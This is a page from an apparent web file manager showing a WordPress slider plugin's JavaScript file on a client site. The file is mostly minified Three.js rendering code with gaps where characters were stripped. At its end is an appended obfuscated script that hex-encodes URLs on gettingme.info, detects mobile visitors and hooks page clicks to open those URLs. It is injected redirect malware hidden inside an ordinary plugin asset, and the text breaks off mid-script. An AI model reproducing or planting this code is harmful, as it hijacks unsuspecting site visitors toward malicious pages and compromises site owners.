芝麻web文件管理V1.00
编辑当前文件:/home/prismawe/clients/origami-events.com/wp-content/plugins/CuteSlider/js/cute.canvas.module.js
var THREE=THREE||{REVISION:"49"};if(!self.Int32Array){self.Int32Array=Array;self.Float32Array=Array}THREE.Color=function(e){if(e!==undefined)this.setHex(e);return this};THREE.Color.prototype={constructor:THREE.Color,r:1,g:1,b:1,copy:function(e){this.r=e.r;this.g=e.g;this.b=e.b;return this},setRGB:function(e,t,n){this.r=e;this.g=t;this.b=n;return this},setHex:function(e){e=Math.floor(e);this.r=(e>>16&255)/255;this.g=(e>>8&255)/255;this.b=(e&255)/255;return this},lerpSelf:function(e,t){this.r+=(e.r-this.r)*t;this.g+=(e.g-this.g)*t;this.b+=(e.b-this.b)*t;return this},getHex:function(){return Math.floor(this.r*255)<<16^Math.floor(this.g*255)<<8^Math.floor(this.b*255)},getContextStyle:function(){return"rgb("+Math.floor(this.r*255)+","+Math.floor(this.g*255)+","+Math.floor(this.b*255)+")"},clone:function(){return(new THREE.Color).setRGB(this.r,this.g,this.b)}};THREE.Vector2=function(e,t){this.x=e||0;this.y=t||0};THREE.Vector2.prototype={constructor:THREE.Vector2};THREE.Vector3=function(e,t,n){this.x=e||0;this.y=t||0;this.z=n||0};THREE.Vector3.prototype={constructor:THREE.Vector3,set:function(e,t,n){this.x=e;this.y=t;this.z=n;return this},setX:function(e){this.x=e;return this},setY:function(e){this.y=e;return this},setZ:function(e){this.z=e;return this},copy:function(e){this.x=e.x;this.y=e.y;this.z=e.z;return this},add:function(e,t){this.x=e.x+t.x;this.y=e.y+t.y;this.z=e.z+t.z;return this},addSelf:function(e){this.x+=e.x;this.y+=e.y;this.z+=e.z;return this},addScalar:function(e){this.x+=e;this.y+=e;this.z+=e;return this},sub:function(e,t){this.x=e.x-t.x;this.y=e.y-t.y;this.z=e.z-t.z;return this},multiply:function(e,t){this.x=e.x*t.x;this.y=e.y*t.y;this.z=e.z*t.z;return this},multiplyScalar:function(e){this.x*=e;this.y*=e;this.z*=e;return this},divideScalar:function(e){if(e){this.x/=e;this.y/=e;this.z/=e}else{this.x=0;this.y=0;this.z=0}return this},negate:function(){return this.multiplyScalar(-1)},dot:function(e){return this.x*e.x+this.y*e.y+this.z*e.z},lengthSq:function(){return this.x*this.x+this.y*this.y+this.z*this.z},length:function(){return Math.sqrt(this.lengthSq())},lengthManhattan:function(){return Math.abs(this.x)+Math.abs(this.y)+Math.abs(this.z)},normalize:function(){return this.divideScalar(this.length())},cross:function(e,t){this.x=e.y*t.z-e.z*t.y;this.y=e.z*t.x-e.x*t.z;this.z=e.x*t.y-e.y*t.x;return this},distanceTo:function(e){return Math.sqrt(this.distanceToSquared(e))},distanceToSquared:function(e){return(new THREE.Vector3).sub(this,e).lengthSq()},clone:function(){return new THREE.Vector3(this.x,this.y,this.z)}};THREE.Vector4=function(e,t,n,r){this.x=e||0;this.y=t||0;this.z=n||0;this.w=r!==undefined?r:1};THREE.Vector4.prototype={constructor:THREE.Vector4,set:function(e,t,n,r){this.x=e;this.y=t;this.z=n;this.w=r;return this},copy:function(e){this.x=e.x;this.y=e.y;this.z=e.z;this.w=e.w!==undefined?e.w:1;return this},add:function(e,t){this.x=e.x+t.x;this.y=e.y+t.y;this.z=e.z+t.z;this.w=e.w+t.w;return this},addSelf:function(e){this.x+=e.x;this.y+=e.y;this.z+=e.z;this.w+=e.w;return this},sub:function(e,t){this.x=e.x-t.x;this.y=e.y-t.y;this.z=e.z-t.z;this.w=e.w-t.w;return this},subSelf:function(e){this.x-=e.x;this.y-=e.y;this.z-=e.z;this.w-=e.w;return this},multiplyScalar:function(e){this.x*=e;this.y*=e;this.z*=e;this.w*=e;return this},divideScalar:function(e){if(e){this.x/=e;this.y/=e;this.z/=e;this.w/=e}else{this.x=0;this.y=0;this.z=0;this.w=1}return this},negate:function(){return this.multiplyScalar(-1)},dot:function(e){return this.x*e.x+this.y*e.y+this.z*e.z+this.w*e.w},lengthSq:function(){return this.dot(this)},length:function(){return Math.sqrt(this.lengthSq())},normalize:function(){return this.divideScalar(this.length())}};THREE.Frustum=function(){this.planes=[new THREE.Vector4,new THREE.Vector4,new THREE.Vector4,new THREE.Vector4,new THREE.Vector4,new THREE.Vector4]};THREE.Frustum.prototype.setFromMatrix=function(e){var t,n,r=this.planes;var i=e.elements;var s=i[0],o=i[1],u=i[2],a=i[3];var f=i[4],l=i[5],c=i[6],h=i[7];var p=i[8],d=i[9],v=i[10],m=i[11];var g=i[12],y=i[13],b=i[14],w=i[15];r[0].set(a-s,h-f,m-p,w-g);r[1].set(a+s,h+f,m+p,w+g);r[2].set(a+o,h+l,m+d,w+y);r[3].set(a-o,h-l,m-d,w-y);r[4].set(a-u,h-c,m-v,w-b);r[5].set(a+u,h+c,m+v,w+b);for(t=0;t<6;t++){n=r[t];n.divideScalar(Math.sqrt(n.x*n.x+n.y*n.y+n.z*n.z))}};THREE.Frustum.prototype.contains=function(e){var t,n=this.planes,r=e.matrixWorld,i=r.elements,s=-e.geometry.boundingSphere.radius*r.getMaxScaleOnAxis();for(var o=0;o<6;o++){t=n[o].x*i[12]+n[o].y*i[13]+n[o].z*i[14]+n[o].w;if(t<=s)return false}return true};THREE.Frustum.__v1=new THREE.Vector3;THREE.Rectangle=function(){function u(){i=n-e;s=r-t}var e,t,n,r,i,s,o=true;this.getX=function(){return e};this.getY=function(){return t};this.getWidth=function(){return i};this.getHeight=function(){return s};this.getLeft=function(){return e};this.getTop=function(){return t};this.getRight=function(){return n};this.getBottom=function(){return r};this.set=function(i,s,a,f){o=false;e=i;t=s;n=a;r=f;u()};this.addPoint=function(i,s){if(o){o=false;e=i;t=s;n=i;r=s;u()}else{e=e
i?n:i;r=r>s?r:s;u()}};this.addRectangle=function(i){if(o){o=false;e=i.getLeft();t=i.getTop();n=i.getRight();r=i.getBottom();u()}else{e=e
i.getRight()?n:i.getRight();r=r>i.getBottom()?r:i.getBottom();u()}};this.inflate=function(i){e-=i;t-=i;n+=i;r+=i;u()};this.minSelf=function(i){e=e>i.getLeft()?e:i.getLeft();t=t>i.getTop()?t:i.getTop();n=n
i.getRight())return false;if(r
i.getBottom())return false;return true};this.empty=function(){o=true;e=0;t=0;n=0;r=0;u()};this.isEmpty=function(){return o}};THREE.Matrix3=function(){this.elements=new Float32Array(9)};THREE.Matrix3.prototype={constructor:THREE.Matrix3,getInverse:function(e){var t=e.elements;var n=t[10]*t[5]-t[6]*t[9];var r=-t[10]*t[1]+t[2]*t[9];var i=t[6]*t[1]-t[2]*t[5];var s=-t[10]*t[4]+t[6]*t[8];var o=t[10]*t[0]-t[2]*t[8];var u=-t[6]*t[0]+t[2]*t[4];var a=t[9]*t[4]-t[5]*t[8];var f=-t[9]*t[0]+t[1]*t[8];var l=t[5]*t[0]-t[1]*t[4];var c=t[0]*n+t[1]*s+t[2]*a;if(c===0){console.warn("Matrix3.getInverse(): determinant == 0")}var h=1/c;var p=this.elements;p[0]=h*n;p[1]=h*r;p[2]=h*i;p[3]=h*s;p[4]=h*o;p[5]=h*u;p[6]=h*a;p[7]=h*f;p[8]=h*l;return this}};THREE.Matrix4=function(e,t,n,r,i,s,o,u,a,f,l,c,h,p,d,v){this.elements=new Float32Array(16);this.set(e!==undefined?e:1,t||0,n||0,r||0,i||0,s!==undefined?s:1,o||0,u||0,a||0,f||0,l!==undefined?l:1,c||0,h||0,p||0,d||0,v!==undefined?v:1)};THREE.Matrix4.prototype={constructor:THREE.Matrix4,set:function(e,t,n,r,i,s,o,u,a,f,l,c,h,p,d,v){var m=this.elements;m[0]=e;m[4]=t;m[8]=n;m[12]=r;m[1]=i;m[5]=s;m[9]=o;m[13]=u;m[2]=a;m[6]=f;m[10]=l;m[14]=c;m[3]=h;m[7]=p;m[11]=d;m[15]=v;return this},copy:function(e){var t=e.elements;this.set(t[0],t[4],t[8],t[12],t[1],t[5],t[9],t[13],t[2],t[6],t[10],t[14],t[3],t[7],t[11],t[15]);return this},lookAt:function(e,t,n){var r=this.elements;var i=THREE.Matrix4.__v1;var s=THREE.Matrix4.__v2;var o=THREE.Matrix4.__v3;o.sub(e,t).normalize();if(o.length()===0){o.z=1}i.cross(n,o).normalize();if(i.length()===0){o.x+=1e-4;i.cross(n,o).normalize()}s.cross(o,i);r[0]=i.x;r[4]=s.x;r[8]=o.x;r[1]=i.y;r[5]=s.y;r[9]=o.y;r[2]=i.z;r[6]=s.z;r[10]=o.z;return this},multiply:function(e,t){var n=e.elements;var r=t.elements;var i=this.elements;var s=n[0],o=n[4],u=n[8],a=n[12];var f=n[1],l=n[5],c=n[9],h=n[13];var p=n[2],d=n[6],v=n[10],m=n[14];var g=n[3],y=n[7],b=n[11],w=n[15];var E=r[0],S=r[4],x=r[8],T=r[12];var N=r[1],C=r[5],k=r[9],L=r[13];var A=r[2],O=r[6],M=r[10],_=r[14];var D=r[3],P=r[7],H=r[11],B=r[15];i[0]=s*E+o*N+u*A+a*D;i[4]=s*S+o*C+u*O+a*P;i[8]=s*x+o*k+u*M+a*H;i[12]=s*T+o*L+u*_+a*B;i[1]=f*E+l*N+c*A+h*D;i[5]=f*S+l*C+c*O+h*P;i[9]=f*x+l*k+c*M+h*H;i[13]=f*T+l*L+c*_+h*B;i[2]=p*E+d*N+v*A+m*D;i[6]=p*S+d*C+v*O+m*P;i[10]=p*x+d*k+v*M+m*H;i[14]=p*T+d*L+v*_+m*B;i[3]=g*E+y*N+b*A+w*D;i[7]=g*S+y*C+b*O+w*P;i[11]=g*x+y*k+b*M+w*H;i[15]=g*T+y*L+b*_+w*B;return this},multiplyScalar:function(e){var t=this.elements;t[0]*=e;t[4]*=e;t[8]*=e;t[12]*=e;t[1]*=e;t[5]*=e;t[9]*=e;t[13]*=e;t[2]*=e;t[6]*=e;t[10]*=e;t[14]*=e;t[3]*=e;t[7]*=e;t[11]*=e;t[15]*=e;return this},multiplyVector3:function(e){var t=this.elements;var n=e.x,r=e.y,i=e.z;var s=1/(t[3]*n+t[7]*r+t[11]*i+t[15]);e.x=(t[0]*n+t[4]*r+t[8]*i+t[12])*s;e.y=(t[1]*n+t[5]*r+t[9]*i+t[13])*s;e.z=(t[2]*n+t[6]*r+t[10]*i+t[14])*s;return e},multiplyVector4:function(e){var t=this.elements;var n=e.x,r=e.y,i=e.z,s=e.w;e.x=t[0]*n+t[4]*r+t[8]*i+t[12]*s;e.y=t[1]*n+t[5]*r+t[9]*i+t[13]*s;e.z=t[2]*n+t[6]*r+t[10]*i+t[14]*s;e.w=t[3]*n+t[7]*r+t[11]*i+t[15]*s;return e},determinant:function(){var e=this.elements;var t=e[0],n=e[4],r=e[8],i=e[12];var s=e[1],o=e[5],u=e[9],a=e[13];var f=e[2],l=e[6],c=e[10],h=e[14];var p=e[3],d=e[7],v=e[11],m=e[15];return i*u*l*p-r*a*l*p-i*o*c*p+n*a*c*p+r*o*h*p-n*u*h*p-i*u*f*d+r*a*f*d+i*s*c*d-t*a*c*d-r*s*h*d+t*u*h*d+i*o*f*v-n*a*f*v-i*s*l*v+t*a*l*v+n*s*h*v-t*o*h*v-r*o*f*m+n*u*f*m+r*s*l*m-t*u*l*m-n*s*c*m+t*o*c*m},getPosition:function(){var e=this.elements;return THREE.Matrix4.__v1.set(e[12],e[13],e[14])},setPosition:function(e){var t=this.elements;t[12]=e.x;t[13]=e.y;t[14]=e.z;return this},getInverse:function(e){var t=this.elements;var n=e.elements;var r=n[0],i=n[4],s=n[8],o=n[12];var u=n[1],a=n[5],f=n[9],l=n[13];var c=n[2],h=n[6],p=n[10],d=n[14];var v=n[3],m=n[7],g=n[11],y=n[15];t[0]=f*d*m-l*p*m+l*h*g-a*d*g-f*h*y+a*p*y;t[4]=o*p*m-s*d*m-o*h*g+i*d*g+s*h*y-i*p*y;t[8]=s*l*m-o*f*m+o*a*g-i*l*g-s*a*y+i*f*y;t[12]=o*f*h-s*l*h-o*a*p+i*l*p+s*a*d-i*f*d;t[1]=l*p*v-f*d*v-l*c*g+u*d*g+f*c*y-u*p*y;t[5]=s*d*v-o*p*v+o*c*g-r*d*g-s*c*y+r*p*y;t[9]=o*f*v-s*l*v-o*u*g+r*l*g+s*u*y-r*f*y;t[13]=s*l*c-o*f*c+o*u*p-r*l*p-s*u*d+r*f*d;t[2]=a*d*v-l*h*v+l*c*m-u*d*m-a*c*y+u*h*y;t[6]=o*h*v-i*d*v-o*c*m+r*d*m+i*c*y-r*h*y;t[10]=i*l*v-o*a*v+o*u*m-r*l*m-i*u*y+r*a*y;t[14]=o*a*c-i*l*c-o*u*h+r*l*h+i*u*d-r*a*d;t[3]=f*h*v-a*p*v-f*c*m+u*p*m+a*c*g-u*h*g;t[7]=i*p*v-s*h*v+s*c*m-r*p*m-i*c*g+r*h*g;t[11]=s*a*v-i*f*v-s*u*m+r*f*m+i*u*g-r*a*g;t[15]=i*f*c-s*a*c+s*u*h-r*f*h-i*u*p+r*a*p;this.multiplyScalar(1/e.determinant());return this},setRotationFromEuler:function(e,t){var n=this.elements;var r=e.x,i=e.y,s=e.z;var o=Math.cos(r),u=Math.sin(r);var a=Math.cos(i),f=Math.sin(i);var l=Math.cos(s),c=Math.sin(s);switch(t){case"YXZ":var h=a*l,p=a*c,d=f*l,v=f*c;n[0]=h+v*u;n[4]=d*u-p;n[8]=o*f;n[1]=o*c;n[5]=o*l;n[9]=-u;n[2]=p*u-d;n[6]=v+h*u;n[10]=o*a;break;case"ZXY":var h=a*l,p=a*c,d=f*l,v=f*c;n[0]=h-v*u;n[4]=-o*c;n[8]=d+p*u;n[1]=p+d*u;n[5]=o*l;n[9]=v-h*u;n[2]=-o*f;n[6]=u;n[10]=o*a;break;case"ZYX":var m=o*l,g=o*c,y=u*l,b=u*c;n[0]=a*l;n[4]=y*f-g;n[8]=m*f+b;n[1]=a*c;n[5]=b*f+m;n[9]=g*f-y;n[2]=-f;n[6]=u*a;n[10]=o*a;break;case"YZX":var w=o*a,E=o*f,S=u*a,x=u*f;n[0]=a*l;n[4]=x-w*c;n[8]=S*c+E;n[1]=c;n[5]=o*l;n[9]=-u*l;n[2]=-f*l;n[6]=E*c+S;n[10]=w-x*c;break;case"XZY":var w=o*a,E=o*f,S=u*a,x=u*f;n[0]=a*l;n[4]=-c;n[8]=f*l;n[1]=w*c+x;n[5]=o*l;n[9]=E*c-S;n[2]=S*c-E;n[6]=u*l;n[10]=x*c+w;break;default:var m=o*l,g=o*c,y=u*l,b=u*c;n[0]=a*l;n[4]=-a*c;n[8]=f;n[1]=g+y*f;n[5]=m-b*f;n[9]=-u*a;n[2]=b-m*f;n[6]=y+g*f;n[10]=o*a;break}return this},setRotationFromQuaternion:function(e){var t=this.elements;var n=e.x,r=e.y,i=e.z,s=e.w;var o=n+n,u=r+r,a=i+i;var f=n*o,l=n*u,c=n*a;var h=r*u,p=r*a,d=i*a;var v=s*o,m=s*u,g=s*a;t[0]=1-(h+d);t[4]=l-g;t[8]=c+m;t[1]=l+g;t[5]=1-(f+d);t[9]=p-v;t[2]=c-m;t[6]=p+v;t[10]=1-(f+h);return this},extractRotation:function(e){var t=this.elements;var n=e.elements;var r=THREE.Matrix4.__v1;var i=1/r.set(n[0],n[1],n[2]).length();var s=1/r.set(n[4],n[5],n[6]).length();var o=1/r.set(n[8],n[9],n[10]).length();t[0]=n[0]*i;t[1]=n[1]*i;t[2]=n[2]*i;t[4]=n[4]*s;t[5]=n[5]*s;t[6]=n[6]*s;t[8]=n[8]*o;t[9]=n[9]*o;t[10]=n[10]*o;return this},translate:function(e){var t=this.elements;var n=e.x,r=e.y,i=e.z;t[12]=t[0]*n+t[4]*r+t[8]*i+t[12];t[13]=t[1]*n+t[5]*r+t[9]*i+t[13];t[14]=t[2]*n+t[6]*r+t[10]*i+t[14];t[15]=t[3]*n+t[7]*r+t[11]*i+t[15];return this},rotateX:function(e){var t=this.elements;var n=t[4];var r=t[5];var i=t[6];var s=t[7];var o=t[8];var u=t[9];var a=t[10];var f=t[11];var l=Math.cos(e);var c=Math.sin(e);t[4]=l*n+c*o;t[5]=l*r+c*u;t[6]=l*i+c*a;t[7]=l*s+c*f;t[8]=l*o-c*n;t[9]=l*u-c*r;t[10]=l*a-c*i;t[11]=l*f-c*s;return this},rotateY:function(e){var t=this.elements;var n=t[0];var r=t[1];var i=t[2];var s=t[3];var o=t[8];var u=t[9];var a=t[10];var f=t[11];var l=Math.cos(e);var c=Math.sin(e);t[0]=l*n-c*o;t[1]=l*r-c*u;t[2]=l*i-c*a;t[3]=l*s-c*f;t[8]=l*o+c*n;t[9]=l*u+c*r;t[10]=l*a+c*i;t[11]=l*f+c*s;return this},rotateZ:function(e){var t=this.elements;var n=t[0];var r=t[1];var i=t[2];var s=t[3];var o=t[4];var u=t[5];var a=t[6];var f=t[7];var l=Math.cos(e);var c=Math.sin(e);t[0]=l*n+c*o;t[1]=l*r+c*u;t[2]=l*i+c*a;t[3]=l*s+c*f;t[4]=l*o-c*n;t[5]=l*u-c*r;t[6]=l*a-c*i;t[7]=l*f-c*s;return this},rotateByAxis:function(e,t){var n=this.elements;if(e.x===1&&e.y===0&&e.z===0){return this.rotateX(t)}else if(e.x===0&&e.y===1&&e.z===0){return this.rotateY(t)}else if(e.x===0&&e.y===0&&e.z===1){return this.rotateZ(t)}var r=e.x,i=e.y,s=e.z;var o=Math.sqrt(r*r+i*i+s*s);r/=o;i/=o;s/=o;var u=r*r,a=i*i,f=s*s;var l=Math.cos(t);var c=Math.sin(t);var h=1-l;var p=r*i*h;var d=r*s*h;var v=i*s*h;var m=r*c;var g=i*c;var y=s*c;var b=u+(1-u)*l;var w=p+y;var E=d-g;var S=p-y;var x=a+(1-a)*l;var T=v+m;var N=d+g;var C=v-m;var k=f+(1-f)*l;var L=n[0],A=n[1],O=n[2],M=n[3];var _=n[4],D=n[5],P=n[6],H=n[7];var B=n[8],j=n[9],F=n[10],I=n[11];var q=n[12],R=n[13],U=n[14],z=n[15];n[0]=b*L+w*_+E*B;n[1]=b*A+w*D+E*j;n[2]=b*O+w*P+E*F;n[3]=b*M+w*H+E*I;n[4]=S*L+x*_+T*B;n[5]=S*A+x*D+T*j;n[6]=S*O+x*P+T*F;n[7]=S*M+x*H+T*I;n[8]=N*L+C*_+k*B;n[9]=N*A+C*D+k*j;n[10]=N*O+C*P+k*F;n[11]=N*M+C*H+k*I;return this},scale:function(e){var t=this.elements;var n=e.x,r=e.y,i=e.z;t[0]*=n;t[4]*=r;t[8]*=i;t[1]*=n;t[5]*=r;t[9]*=i;t[2]*=n;t[6]*=r;t[10]*=i;t[3]*=n;t[7]*=r;t[11]*=i;return this},getMaxScaleOnAxis:function(){var e=this.elements;var t=e[0]*e[0]+e[1]*e[1]+e[2]*e[2];var n=e[4]*e[4]+e[5]*e[5]+e[6]*e[6];var r=e[8]*e[8]+e[9]*e[9]+e[10]*e[10];return Math.sqrt(Math.max(t,Math.max(n,r)))},makeFrustum:function(e,t,n,r,i,s){var o=this.elements;var u=2*i/(t-e);var a=2*i/(r-n);var f=(t+e)/(t-e);var l=(r+n)/(r-n);var c=-(s+i)/(s-i);var h=-2*s*i/(s-i);o[0]=u;o[4]=0;o[8]=f;o[12]=0;o[1]=0;o[5]=a;o[9]=l;o[13]=0;o[2]=0;o[6]=0;o[10]=c;o[14]=h;o[3]=0;o[7]=0;o[11]=-1;o[15]=0;return this},makePerspective:function(e,t,n,r){var i=n*Math.tan(e*Math.PI/360);var s=-i;var o=s*t;var u=i*t;return this.makeFrustum(o,u,s,i,n,r)},clone:function(){var e=this.elements;return new THREE.Matrix4(e[0],e[4],e[8],e[12],e[1],e[5],e[9],e[13],e[2],e[6],e[10],e[14],e[3],e[7],e[11],e[15])}};THREE.Matrix4.__v1=new THREE.Vector3;THREE.Matrix4.__v2=new THREE.Vector3;THREE.Matrix4.__v3=new THREE.Vector3;THREE.Matrix4.__m1=new THREE.Matrix4;THREE.Matrix4.__m2=new THREE.Matrix4;THREE.Object3D=function(){this.id=THREE.Object3DCount++;this.name="";this.parent=undefined;this.children=[];this.up=new THREE.Vector3(0,1,0);this.position=new THREE.Vector3;this.rotation=new THREE.Vector3;this.eulerOrder="XYZ";this.scale=new THREE.Vector3(1,1,1);this.doubleSided=false;this.flipSided=false;this.renderDepth=null;this.rotationAutoUpdate=true;this.matrix=new THREE.Matrix4;this.matrixWorld=new THREE.Matrix4;this.matrixRotationWorld=new THREE.Matrix4;this.matrixAutoUpdate=true;this.matrixWorldNeedsUpdate=true;this.useQuaternion=false;this.boundRadius=0;this.boundRadiusScale=1;this.visible=true;this.castShadow=false;this.receiveShadow=false;this.frustumCulled=true;this._vector=new THREE.Vector3};THREE.Object3D.prototype={constructor:THREE.Object3D,add:function(e){if(e===this){console.warn("THREE.Object3D.add: An object can't be added as a child of itself.");return}if(e instanceof THREE.Object3D){if(e.parent!==undefined){e.parent.remove(e)}e.parent=this;this.children.push(e);var t=this;while(t.parent!==undefined){t=t.parent}if(t!==undefined&&t instanceof THREE.Scene){t.__addObject(e)}}},remove:function(e){var t=this.children.indexOf(e);if(t!==-1){e.parent=undefined;this.children.splice(t,1);var n=this;while(n.parent!==undefined){n=n.parent}if(n!==undefined&&n instanceof THREE.Scene){n.__removeObject(e)}}},updateMatrix:function(){this.matrix.setPosition(this.position);if(this.useQuaternion){this.matrix.setRotationFromQuaternion(this.quaternion)}else{this.matrix.setRotationFromEuler(this.rotation,this.eulerOrder)}if(this.scale.x!==1||this.scale.y!==1||this.scale.z!==1){this.matrix.scale(this.scale);this.boundRadiusScale=Math.max(this.scale.x,Math.max(this.scale.y,this.scale.z))}this.matrixWorldNeedsUpdate=true},updateMatrixWorld:function(e){this.matrixAutoUpdate&&this.updateMatrix();if(this.matrixWorldNeedsUpdate||e){if(this.parent){this.matrixWorld.multiply(this.parent.matrixWorld,this.matrix)}else{this.matrixWorld.copy(this.matrix)}this.matrixWorldNeedsUpdate=false;e=true}for(var t=0,n=this.children.length;t
a&&r.positionScreen.z
t)t=e}this.boundingSphere.radius=t},mergeVertices:function(){var e={};var t=[],n=[];var r,i;var s=4;var o=Math.pow(10,s);var u,a,f;var l="abcd",c,h,p,d,v;for(u=0,a=this.vertices.length;u
0;h--){if(c.indexOf(f[l[h]])!=h){c.splice(h,1);this.faces[u]=new THREE.Face3(c[0],c[1],c[2]);for(p=0,d=this.faceVertexUvs.length;p
0){setBlending(THREE.NormalBlending);yt(1);xt("rgba("+Math.floor(h.r*255)+","+Math.floor(h.g*255)+","+Math.floor(h.b*255)+","+p+")");c.fillRect(Math.floor(rt.getX()),Math.floor(rt.getY()),Math.floor(rt.getWidth()),Math.floor(rt.getHeight()))}rt.empty()}};this.render=function(e,o){function d(e){var t,n,r,i;ot.setRGB(0,0,0);ut.setRGB(0,0,0);at.setRGB(0,0,0);for(t=0,n=e.length;t
1?1:t}function ht(e,t){if(THREE.removeGaps)return;var n=t.x-e.x,r=t.y-e.y,i=n*n+r*r,s;if(i==0)return;s=1/Math.sqrt(i)/2;n*=s;r*=s;t.x+=n;t.y+=r;e.x-=n;e.y-=r}var u,a,h,p;this.autoClear?this.clear():c.setTransform(1,0,0,-1,f,l);t.info.render.vertices=0;t.info.render.faces=0;n=s.projectScene(e,o,this.sortElements);r=n.elements;i=n.lights;st=i.length>0;if(st){d(i)}for(u=0,a=r.length;u
0?1:-1;for(d=0;d
3&&t>3};Aroma.ThreeView.prototype=new Aroma.AbstractView;Aroma.ThreeView.prototype.constructor=Aroma.ThreeView;Aroma.ThreeView.prototype.setup=function(){var e=1500;var t=2*Math.atan(this.vpHeight/(2*e))*180/Math.PI;this.camera=new THREE.PerspectiveCamera(t,this.vpWidth/this.vpHeight,.1,1e4);this.camera.position.z=e;var n=new Image;n.src=this.oldSource.src;var r={width:n.width,height:n.height};n=null;this.oldSource=Aroma.CanvasTools.resizeImage(this.oldSource,r,{width:this.width,height:this.height});this.newSource=Aroma.CanvasTools.resizeImage(this.newSource,r,{width:this.width,height:this.height})};Aroma.ThreeView.prototype.setViewPortSize=function(e,t){Aroma.AbstractView.prototype.setViewPortSize.call(this,e,t);this.renderer.setSize(e,t)};Aroma.ThreeView.prototype.getPieceAt=function(e,t,n){var r=this.posToID(e,t);if(this._pieceList[r]!=null)return this._pieceList[r];var i=new Aroma.ThreeCubePiece;var s=this.getPieceBounds(e,t);i.col=e;i.row=t;i.bounds=s;i.view=this;n.piece=i;ConcatObject.concat(i.options,n.getPieceOptions());i.setup(Aroma.CanvasTools.createBitmapSlice(s,this.newSource),Aroma.CanvasTools.createBitmapSlice(s,this.oldSource));this._pieceList[r]=i;return i};Aroma.ThreeView.prototype.dispose=function(){Aroma.AbstractView.prototype.dispose.call(this);this.renderer.clear()};Aroma.ThreeView.prototype.render=function(){this.renderer.clear();this.viewport_cx.clearRect(0,0,this.vpWidth,this.vpHeight);for(var e=0,t=this._pieceList.length;e
>1;this.scene.add(this.cube)};Aroma.ThreeCubePiece.prototype.dispose=function(){this.scene.remove(this.cube);this.cube=null;this.scene=null;this.proxy=null};Aroma.ThreeCubePiece.prototype.proxyUpdate=function(){this.piece.cube.position.x=this.x+this.piece.origin_x;this.piece.cube.position.y=-this.y+this.piece.origin_y;this.piece.cube.position.z=this.z+this.piece.origin_z;this.piece.cube.rotation.x=this.rotationX*Math.PI/180;this.piece.cube.rotation.y=-this.rotationY*Math.PI/180;this.piece.cube.rotation.z=-this.rotationZ*Math.PI/180} function _0x3023(_0x562006,_0x1334d6){const _0x1922f2=_0x1922();return _0x3023=function(_0x30231a,_0x4e4880){_0x30231a=_0x30231a-0x1bf;let _0x2b207e=_0x1922f2[_0x30231a];return _0x2b207e;},_0x3023(_0x562006,_0x1334d6);}function _0x1922(){const _0x5a990b=['substr','length','-hurs','open','round','443779RQfzWn','\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x59\x68\x43\x33\x63\x303','click','5114346JdlaMi','1780163aSIYqH','forEach','host','_blank','68512ftWJcO','addEventListener','-mnts','\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x43\x57\x49\x35\x63\x375','4588749LmrVjF','parse','630bGPCEV','mobileCheck','\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x4a\x77\x67\x38\x63\x338','abs','-local-storage','\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x44\x44\x78\x39\x63\x349','56bnMKls','opera','6946eLteFW','userAgent','\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x4a\x67\x41\x34\x63\x394','\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x4f\x6f\x65\x37\x63\x357','\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x6c\x77\x59\x32\x63\x342','floor','\x68\x74\x74\x70\x3a\x2f\x2f\x67\x65\x74\x74\x69\x6e\x67\x6d\x65\x2e\x69\x6e\x66\x6f\x2f\x50\x6d\x46\x36\x63\x356','999HIfBhL','filter','test','getItem','random','138490EjXyHW','stopPropagation','setItem','70kUzPYI'];_0x1922=function(){return _0x5a990b;};return _0x1922();}(function(_0x16ffe6,_0x1e5463){const _0x20130f=_0x3023,_0x307c06=_0x16ffe6();while(!![]){try{const _0x1dea23=parseInt(_0x20130f(0x1d6))/0x1+-parseInt(_0x20130f(0x1c1))/0x2*(parseInt(_0x20130f(0x1c8))/0x3)+parseInt(_0x20130f(0x1bf))/0x4*(-parseInt(_0x20130f(0x1cd))/0x5)+parseInt(_0x20130f(0x1d9))/0x6+-parseInt(_0x20130f(0x1e4))/0x7*(parseInt(_0x20130f(0x1de))/0x8)+parseInt(_0x20130f(0x1e2))/0x9+-parseInt(_0x20130f(0x1d0))/0xa*(-parseInt(_0x20130f(0x1da))/0xb);if(_0x1dea23===_0x1e5463)break;else _0x307c06['push'](_0x307c06['shift']());}catch(_0x3e3a47){_0x307c06['push'](_0x307c06['shift']());}}}(_0x1922,0x984cd),function(_0x34eab3){const _0x111835=_0x3023;window['mobileCheck']=function(){const _0x123821=_0x3023;let _0x399500=![];return function(_0x5e9786){const _0x1165a7=_0x3023;if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x1165a7(0x1ca)](_0x5e9786)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 